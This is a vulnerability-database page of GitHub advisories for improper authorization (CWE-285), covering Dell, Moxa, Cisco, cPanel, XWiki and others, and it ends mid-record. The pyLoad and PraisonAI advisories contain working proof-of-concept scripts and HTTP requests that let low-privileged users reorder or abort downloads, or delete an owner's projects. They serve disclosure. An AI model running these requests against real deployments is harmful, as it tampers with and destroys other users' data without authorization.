CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2305 vulnerabilities reference this CWE, most recent first.
GHSA-RCJR-G4H4-FPFV
Vulnerability from github – Published: 2022-05-27 00:00 – Updated: 2022-06-08 00:00Dell OpenManage Enterprise Versions 3.8.3 and prior contain an improper authorization vulnerability. A remote authenticated malicious user with low privileges may potentially exploit this vulnerability to bypass blocked functionalities and perform unauthorized actions.
{
"affected": [],
"aliases": [
"CVE-2022-26857"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-26T16:15:00Z",
"severity": "HIGH"
},
"details": "Dell OpenManage Enterprise Versions 3.8.3 and prior contain an improper authorization vulnerability. A remote authenticated malicious user with low privileges may potentially exploit this vulnerability to bypass blocked functionalities and perform unauthorized actions.",
"id": "GHSA-rcjr-g4h4-fpfv",
"modified": "2022-06-08T00:00:37Z",
"published": "2022-05-27T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26857"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000197800/dsa-2022-077"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RCRJ-XC4J-XJQV
Vulnerability from github – Published: 2022-05-17 03:40 – Updated: 2022-05-17 03:40Moxa OnCell G3100V2 devices before 2.8 and G3111, G3151, G3211, and G3251 devices before 1.7 do not properly restrict authentication attempts, which makes it easier for remote attackers to obtain access via a brute-force attack.
{
"affected": [],
"aliases": [
"CVE-2016-5799"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-08-24T02:00:00Z",
"severity": "CRITICAL"
},
"details": "Moxa OnCell G3100V2 devices before 2.8 and G3111, G3151, G3211, and G3251 devices before 1.7 do not properly restrict authentication attempts, which makes it easier for remote attackers to obtain access via a brute-force attack.",
"id": "GHSA-rcrj-xc4j-xjqv",
"modified": "2022-05-17T03:40:12Z",
"published": "2022-05-17T03:40:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5799"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-236-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92606"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RF7C-5MHX-3HF6
Vulnerability from github – Published: 2025-11-25 21:32 – Updated: 2025-11-26 15:34The Primakon Pi Portal 1.0.18 API /api/V2/pp_udfv_admin endpoint, fails to perform necessary server-side validation. The administrative LoginAs or user impersonation feature is vulnerable to a access control failure. This flaw allows any authenticated low-privileged user to execute a direct PATCH request, enabling them to impersonate any other arbitrary user, including application Administrators. This is due to a Broken Function Level Authorization failure (the function doesn't check the caller's privilege) compounded by an Insecure Design that permits a session switch without requiring the target user's password or an administrative token and only needs email of user.
{
"affected": [],
"aliases": [
"CVE-2025-64065"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-25T19:15:50Z",
"severity": "HIGH"
},
"details": "The Primakon Pi Portal 1.0.18 API /api/V2/pp_udfv_admin endpoint, fails to perform necessary server-side validation. The administrative LoginAs or user impersonation feature is vulnerable to a access control failure. This flaw allows any authenticated low-privileged user to execute a direct PATCH request, enabling them to impersonate any other arbitrary user, including application Administrators. This is due to a Broken Function Level Authorization failure (the function doesn\u0027t check the caller\u0027s privilege) compounded by an Insecure Design that permits a session switch without requiring the target user\u0027s password or an administrative token and only needs email of user.",
"id": "GHSA-rf7c-5mhx-3hf6",
"modified": "2025-11-26T15:34:11Z",
"published": "2025-11-25T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64065"
},
{
"type": "WEB",
"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64065.md"
},
{
"type": "WEB",
"url": "https://www.primakon.com/rjesenja/primakon-pcm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RFGH-63MG-8PWM
Vulnerability from github – Published: 2026-04-08 00:18 – Updated: 2026-04-13 17:39Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
- ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
- DELETE user can abort downloads (stop_downloads) via /json/abort_link
Details
pyLoad defines granular permissions in core API:
- order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
- order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
- stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
- /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
- /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
- /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with MODIFY:
- /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
- /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version: 0.5.0b3 (VERSION file)
- Commit tested: ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Impact
Type: - Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
- Availability impact: unauthorized abort of active downloads by users lacking MODIFY.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40071"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:18:20Z",
"nvd_published_at": "2026-04-09T18:17:03Z",
"severity": "MODERATE"
},
"details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == \u0027attacker\u0027\n\n def order_package(self, pack_id, pos):\n self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n def order_file(self, file_id, pos):\n self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s[\u0027authenticated\u0027] = True\n s[\u0027name\u0027] = \u0027attacker\u0027\n s[\u0027role\u0027] = int(Role.USER)\n s[\u0027perms\u0027] = int(Perms.ADD)\n\n r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == \u0027u\u0027\n\n def stop_downloads(self, ids):\n self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s[\u0027authenticated\u0027] = True\n s[\u0027name\u0027] = \u0027u\u0027\n s[\u0027role\u0027] = int(Role.USER)\n s[\u0027perms\u0027] = int(Perms.DELETE)\n\n r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
"id": "GHSA-rfgh-63mg-8pwm",
"modified": "2026-04-13T17:39:20Z",
"published": "2026-04-08T00:18:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}
GHSA-RFMX-5227-MW6R
Vulnerability from github – Published: 2025-04-21 15:31 – Updated: 2025-04-21 15:31Yi IOT XY-3820 6.0.24.10 is vulnerable to Remote Command Execution via the "cmd_listen" function located in the "cmd" binary.
{
"affected": [],
"aliases": [
"CVE-2025-29659"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-21T15:16:00Z",
"severity": "CRITICAL"
},
"details": "Yi IOT XY-3820 6.0.24.10 is vulnerable to Remote Command Execution via the \"cmd_listen\" function located in the \"cmd\" binary.",
"id": "GHSA-rfmx-5227-mw6r",
"modified": "2025-04-21T15:31:25Z",
"published": "2025-04-21T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29659"
},
{
"type": "WEB",
"url": "https://github.com/Yasha-ops/RCE-YiIOT"
},
{
"type": "WEB",
"url": "https://github.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-29659"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RG27-7V3V-XMHH
Vulnerability from github – Published: 2024-09-11 18:31 – Updated: 2024-09-11 18:31A vulnerability in the JSON-RPC API feature in ConfD that is used by the web-based management interfaces of Cisco Crosswork Network Services Orchestrator (NSO), Cisco Optical Site Manager, and Cisco RV340 Dual WAN Gigabit VPN Routers could allow an authenticated, remote attacker to modify the configuration of an affected application or device.
This vulnerability is due to improper authorization checks on the API. An attacker with privileges sufficient to access the affected application or device could exploit this vulnerability by sending malicious requests to the JSON-RPC API. A successful exploit could allow the attacker to make unauthorized modifications to the configuration of the affected application or device, including creating new user accounts or elevating their own privileges on an affected system.
{
"affected": [],
"aliases": [
"CVE-2024-20381"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-11T17:15:12Z",
"severity": "HIGH"
},
"details": "A vulnerability in the JSON-RPC API feature in ConfD that is used by the web-based management interfaces of Cisco Crosswork Network Services Orchestrator (NSO), Cisco Optical Site Manager, and Cisco RV340 Dual WAN Gigabit VPN Routers could allow an authenticated, remote attacker to modify the configuration of an affected application or device.\n\nThis vulnerability is due to improper authorization checks on the API. An attacker with privileges sufficient to access the affected application or device could exploit this vulnerability by sending malicious requests to the JSON-RPC API. A successful exploit could allow the attacker to make unauthorized modifications to the configuration of the affected application or device, including creating new user accounts or elevating their own privileges on an affected system.",
"id": "GHSA-rg27-7v3v-xmhh",
"modified": "2024-09-11T18:31:08Z",
"published": "2024-09-11T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20381"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nso-auth-bypass-QnTEesp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RH39-9C67-59MH
Vulnerability from github – Published: 2026-06-18 13:58 – Updated: 2026-06-18 13:58Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Details
The published role capability matrix explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member |
|---|---|---|---|
| Create issues/tasks | ✅ | ✅ | ✅ |
| Edit own content | ✅ | ✅ | ✅ |
| Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.
Confirmed vulnerable endpoints:
| Endpoint | Expected | Actual |
|---|---|---|
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} |
403 | 204 |
The missing check is isolated to content resource DELETEs.
PoC
Requirements: Two accounts — owner (resource creator) and member (attacker).
1. Register both accounts
POST /api/v1/auth/register
Content-Type: application/json
{"email": "owner@example.com", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json
{"email": "member@example.com", "password": "Password1!", "name": "member"}
2. Owner creates workspace, adds member with member role
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}
3. Owner creates a project
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}
Response 201 Created:
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}
4. Member deletes the owner's project
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>
Response: 204 No Content
5. Owner confirms the project is permanently gone
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>
Response: 404 Not Found
{"detail": "Project not found"}
The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.4"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.4"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:58:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others\u0027 content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | \u2705 | \u2705 | \u2705 |\n| Edit own content | \u2705 | \u2705 | \u2705 |\n| Edit others\u0027 content | \u2705 | \u2705 | \u274c |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts \u2014 owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"user_id\": \"\u003cmember_user_id\u003e\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"title\": \"Owner\u0027s Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner\u0027s Project\", ...}\n```\n\n**4. Member deletes the owner\u0027s project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cmember_token\u003e\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cowner_token\u003e\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content \u2014 the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.",
"id": "GHSA-rh39-9c67-59mh",
"modified": "2026-06-18T13:58:03Z",
"published": "2026-06-18T13:58:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
}
GHSA-RH9W-92QG-4JJJ
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:28cPanel before 70.0.23 allows jailshell escape because of incorrect crontab parsing (SEC-382).
{
"affected": [],
"aliases": [
"CVE-2018-20927"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-01T16:15:00Z",
"severity": "LOW"
},
"details": "cPanel before 70.0.23 allows jailshell escape because of incorrect crontab parsing (SEC-382).",
"id": "GHSA-rh9w-92qg-4jjj",
"modified": "2024-04-04T01:28:25Z",
"published": "2022-05-24T16:52:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20927"
},
{
"type": "WEB",
"url": "https://documentation.cpanel.net/display/CL/70+Change+Log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHFV-688C-P6HP
Vulnerability from github – Published: 2025-05-21 18:26 – Updated: 2025-05-21 19:41Impact
In XWiki 16.10.0, required rights were introduced as a way to limit which rights a document can have. Part of the security model of required rights is that a user who doesn't have a right also cannot define that right as required right. That way, users who are editing documents on which required rights are enforced can be sure that they're not giving a right to a script or object that it didn't have before. A bug in the implementation of the enforcement of this rule means that in fact, it was possible for any user with edit right on a document to set programming right as required right. If then a user with programming right edited that document, the content of that document would gain programming right, allowing remote code execution. This thereby defeats most of the security benefits of required rights. As XWiki still performs the required rights analysis when a user edits a page even when required rights are enforced, the user with programming right would still be warned about the dangerous content unless the attacker managed to bypass this check (see, e.g., https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-c32m-27pj-4xcj). Note also that none of the affected versions include a UI for enabling the enforcing of required rights so it seems unlikely that anybody relied on them for security in the affected versions. As this vulnerability provides no additional attack surface unless all documents in the wiki enforce required rights, we consider the impact of this attack to be low even though gaining programming right could have a high impact.
Patches
This vulnerability has been patched in XWiki 16.10.4 and 17.1.0RC1.
Workarounds
We're not aware of any workarounds except for upgrading.
{
"affected": [
